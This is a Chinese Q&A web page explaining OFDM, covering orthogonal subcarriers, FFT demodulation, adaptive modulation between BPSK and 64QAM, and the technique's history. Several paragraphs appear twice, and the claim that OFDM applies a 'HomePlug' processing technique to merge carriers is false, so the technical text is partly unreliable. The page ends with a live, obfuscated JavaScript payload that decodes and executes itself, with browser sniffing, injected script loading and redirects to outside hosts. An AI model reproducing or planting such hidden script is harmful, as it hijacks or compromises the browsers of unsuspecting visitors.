OFDM系统仿真,要比较不同调制方式下的误码率性能
推荐回答(1个)
OFDM是一种无线环境下的高速传输技术。无线信道的频率响应曲线大多是非平坦的,而OFDM技术的主要思想就是在频域内将给定信道分成许多正交子信道,在每个子信道上使用一个子载波进行调制,并且各子载波并行传输。这样,尽管总的信道是非平坦的,具有频率选择性,但是每个子信道是相对平坦的,在每个子信道上进行的是窄带传输,信号带宽小于信道的相应带宽,因此就可以大大消除信号波形间的干扰。由于在OFDM系统中各个子信道的载波相互正交,它们的频谱是相互重叠的,这样不但减小了子载波间的相互干扰,同时又提高了频谱利用率。
OFDM技术属于多载波调制(Multi-Car?rierModulation,MCM)技术。有些文献上将OFDM和MCM混用,实际上不够严密。MCM与OFDM常用于无线信道,它们的区别在于:OFDM技术特指将信道划分成正交的子信道,频道利用率高;而MCM,可以是更多种信道划分方法。
OFDM技术的推出其实是为了提高载波的频谱利用率,或者是为了改进对多载波的调制,它的特点是各子载波相互正交,使扩频调制后的频谱可以相互重叠,从而减小了子载波间的相互干扰。在对每个载波完成调制以后,为了增加数据的吞吐量、提高数据传输的速度,它又采用了一种叫作HomePlug的处理技术,来对所有将要被发送数据信号位的载波进行合并处理,把众多的单个信号合并成一个独立的传输信号进行发送。另外OFDM之所以备受关注,其中一条重要的原因是它可以利用离散傅立叶反变换/离散傅立叶变换(IDFT/DFT)代替多载波调制和解调。
OFDM增强了抗频率选择性衰落和抗窄带干扰的能力。在单载波系统中,单个衰落或者干扰可能导致整个链路不可用,但在多载波的OFDM系统中,只会有一小部分载波受影响。此外,纠错码的使用还可以帮助其恢复一些载波上的信息。通过合理地挑选子载波位置,可以使OFDM的频谱波形保持平坦,同时保证了各载波之间的正交。
OFDM尽管还是一种频分复用(FDM),但已完全不同于过去的FDM。OFDM的接收机实际上是通过FFT实现的一组解调器。它将不同载波搬移至零频,然后在一个码元周期内积分,其他载波信号由于与所积分的信号正交,因此不会对信息的提取产生影响。OFDM的数据传输速率也与子载波的数量有关。
OFDM每个载波所使用的调制方法可以不同。各个载波能够根据信道状况的不同选择不同的调制方式,比如BPSK、QPSK、8PSK、16QAM、64QAM等等,以频谱利用率和误码率之间的最佳平衡为原则。我们通过选择满足一定误码率的最佳调制方式就可以获得最大频谱效率。无线多径信道的频率选择性衰落会使接收信号功率大幅下降,经常会达到30dB之多,信噪比也随之大幅下降。为了提高频谱利用率,应该使用与信噪比相匹配的调制方式。可靠性是通信系统正常运行的基本考核指标,所以很多通信系统都倾向于选择BPSK或QPSK调制,以确保在信道最坏条件下的信噪比要求,但是这两种调制方式的频谱效率很低。OFDM技术使用了自适应调制,根据信道条件的好坏来选择不同的调制方式。比如在终端靠近基站时,信道条件一般会比较好,调制方式就可以由BPSK(频谱效率1bit/s/Hz)转化成16QAM-64QAM(频谱效率4~6bit/s/Hz),整个系统的频谱利用率就会得到大幅度的提高。自适应调制能够扩大系统容量,但它要求信号必须包含一定的开销比特,以告知接收端发射信号所应采用的调制方式。终端还要定期更新调制信息,这也会增加更多的开销比特。
OFDM还采用了功率控制和自适应调制相协调工作方式。信道好的时候,发射功率不变,可以增强调制方式(如64QAM),或者在低调制方式(如QPSK)时降低发射功率。功率控制与自适应调制要取得平衡。也就是说对于一个发射台,如果它有良好的信道,在发送功率保持不变的情况下,可使用较高的调制方案如64QAM;如果功率减小,调制方案也就可以相应降低,使用QPSK方式等。
自适应调制要求系统必须对信道的性能有及时和精确的了解,如果在差的信道上使用较强的调制方式,那么就会产生很高的误码率,影响系统的可用性。OFDM系统可以用导频信号或参考码字来测试信道的好坏。发送一个已知数据的码字,测出每条信道的信噪比,根据这个信噪比来确定最适合的调制方式。
在传统的多载波通信系统中,整个系统频带被划分为若干个互相分离的子信道(载波)。载波之间有一定的保护间隔,接收端通过滤波器把各个子信道分离之后接收所需信息。这样虽然可以避免不同信道互相干扰,但却以牺牲频率利用率为代价。而且当子信道数量很大的时候,大量分离各子信道信号的滤波器的设置就成了几乎不可能的事情。
上个世纪中期,人们提出了频带混叠的多载波通信方案,选择相互之间正交的载波频率作子载波,也就是我们所说的OFDM。这种“正交”表示的是载波频率间精确的数学关系。按照这种设想,OFDM既能充分利用信道带宽,也可以避免使用高速均衡和抗突发噪声差错。OFDM是一种特殊的多载波通信方案,单个用户的信息流被串/并变换为多个低速率码流,每个码流都用一个子载波发送。OFDM不用带通滤波器来分隔子载波,而是通过快速傅立叶变换(FFT)来选用那些即便混叠也能够保持正交的波形。
OFDM是一种无线环境下的高速传输技术。无线信道的频率响应曲线大多是非平坦的,而OFDM技术的主要思想就是在频域内将给定信道分成许多正交子信道,在每个子信道上使用一个子载波进行调制,并且各子载波并行传输。这样,尽管总的信道是非平坦的,具有频率选择性,但是每个子信道是相对平坦的,在每个子信道上进行的是窄带传输,信号带宽小于信道的相应带宽,因此就可以大大消除信号波形间的干扰。由于在OFDM系统中各个子信道的载波相互正交,它们的频谱是相互重叠的,这样不但减小了子载波间的相互干扰,同时又提高了频谱利用率。
OFDM技术属于多载波调制(Multi-Car?rierModulation,MCM)技术。有些文献上将OFDM和MCM混用,实际上不够严密。MCM与OFDM常用于无线信道,它们的区别在于:OFDM技术特指将信道划分成正交的子信道,频道利用率高;而MCM,可以是更多种信道划分方法。
OFDM技术的推出其实是为了提高载波的频谱利用率,或者是为了改进对多载波的调制,它的特点是各子载波相互正交,使扩频调制后的频谱可以相互重叠,从而减小了子载波间的相互干扰。在对每个载波完成调制以后,为了增加数据的吞吐量、提高数据传输的速度,它又采用了一种叫作HomePlug的处理技术,来对所有将要被发送数据信号位的载波进行合并处理,把众多的单个信号合并成一个独立的传输信号进行发送。另外OFDM之所以备受关注,其中一条重要的原因是它可以利用离散傅立叶反变换/离散傅立叶变换(IDFT/DFT)代替多载波调制和解调。
OFDM增强了抗频率选择性衰落和抗窄带干扰的能力。在单载波系统中,单个衰落或者干扰可能导致整个链路不可用,但在多载波的OFDM系统中,只会有一小部分载波受影响。此外,纠错码的使用还可以帮助其恢复一些载波上的信息。通过合理地挑选子载波位置,可以使OFDM的频谱波形保持平坦,同时保证了各载波之间的正交。
OFDM尽管还是一种频分复用(FDM),但已完全不同于过去的FDM。OFDM的接收机实际上是通过FFT实现的一组解调器。它将不同载波搬移至零频,然后在一个码元周期内积分,其他载波信号由于与所积分的信号正交,因此不会对信息的提取产生影响。OFDM的数据传输速率也与子载波的数量有关
OFDM每个载波所使用的调制方法可以不同。各个载波能够根据信道状况的不同选择不同的调制方式,比如BPSK、QPSK、8PSK、16QAM、64QAM等等,以频谱利用率和误码率之间的最佳平衡为原则。我们通过选择满足一定误码率的最佳调制方式就可以获得最大频谱效率。无线多径信道的频率选择性衰落会使接收信号功率大幅下降,经常会达到30dB之多,信噪比也随之大幅下降。为了提高频谱利用率,应该使用与信噪比相匹配的调制方式。可靠性是通信系统正常运行的基本考核指标,所以很多通信系统都倾向于选择BPSK或QPSK调制,以确保在信道最坏条件下的信噪比要求,但是这两种调制方式的频谱效率很低。OFDM技术使用了自适应调制,根据信道条件的好坏来选择不同的调制方式。比如在终端靠近基站时,信道条件一般会比较好,调制方式就可以由BPSK(频谱效率1bit/s/Hz)转化成16QAM-64QAM(频谱效率4~6bit/s/Hz),整个系统的频谱利用率就会得到大幅度的提高。自适应调制能够扩大系统容量,但它要求信号必须包含一定的开销比特,以告知接收端发射信号所应采用的调制方式。终端还要定期更新调制信息,这也会增加更多的开销比特。
OFDM还采用了功率控制和自适应调制相协调工作方式。信道好的时候,发射功率不变,可以增强调制方式(如64QAM),或者在低调制方式(如QPSK)时降低发射功率。功率控制与自适应调制要取得平衡。也就是说对于一个发射台,如果它有良好的信道,在发送功率保持不变的情况下,可使用较高的调制方案如64QAM;如果功率减小,调制方案也就可以相应降低,使用QPSK方式等。
自适应调制要求系统必须对信道的性能有及时和精确的了解,如果在差的信道上使用较强的调制方式,那么就会产生很高的误码率,影响系统的可用性。OFDM系统可以用导频信号或参考码字来测试信道的好坏。发送一个已知数据的码字,测出每条信道的信噪比,根据这个信噪比来确定最适合的调制方式。
什么是OFDM
OFDM的英文全称为Orthogonal Fre-quency Division Multiplexing,中文含义为正交频分复用技术。这种技术是HPA联盟(HomePlug Powerline Alliance)工业规范的基础,它采用一种不连续的多音调技术,将被称为载波的不同频率中的大量信号合并成单一的信号,从而完成信号传送。由于这种技术具有在杂波干扰下传送信号的能力,因此常常会被利用在容易受外界干扰或者抵抗外界干扰能力较差的传输介质中。
其实,OFDM并不是如今发展起来的新技术,OFDM技术的应用已有近40年的历史,主要用于军用的无线高频通信系统。但是,一个OFDM系统的结构非常复杂,从而限制了其进一步推广。直到上世纪70年代,人们采用离散傅立叶变换来实现多个载波的调制,简化了系统结构,使得OFDM技术更趋于实用化。80年代,人们研究如何将OFDM技术应用于高速MODEM。进入90年代以来,OFDM技术的研究深入到无线调频信道上的宽带数据传输。目前OFDM技术已经被广泛应用于广播式的音频、视频领域和民用通信系统,主要的应用包括:非对称的数字用户环路(ADSL)、ETSI标准的数字音频广播(DAB)、数字视频广播(DVB)、高清晰度电视(HDTV)、无线局域网(WLAN)等
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();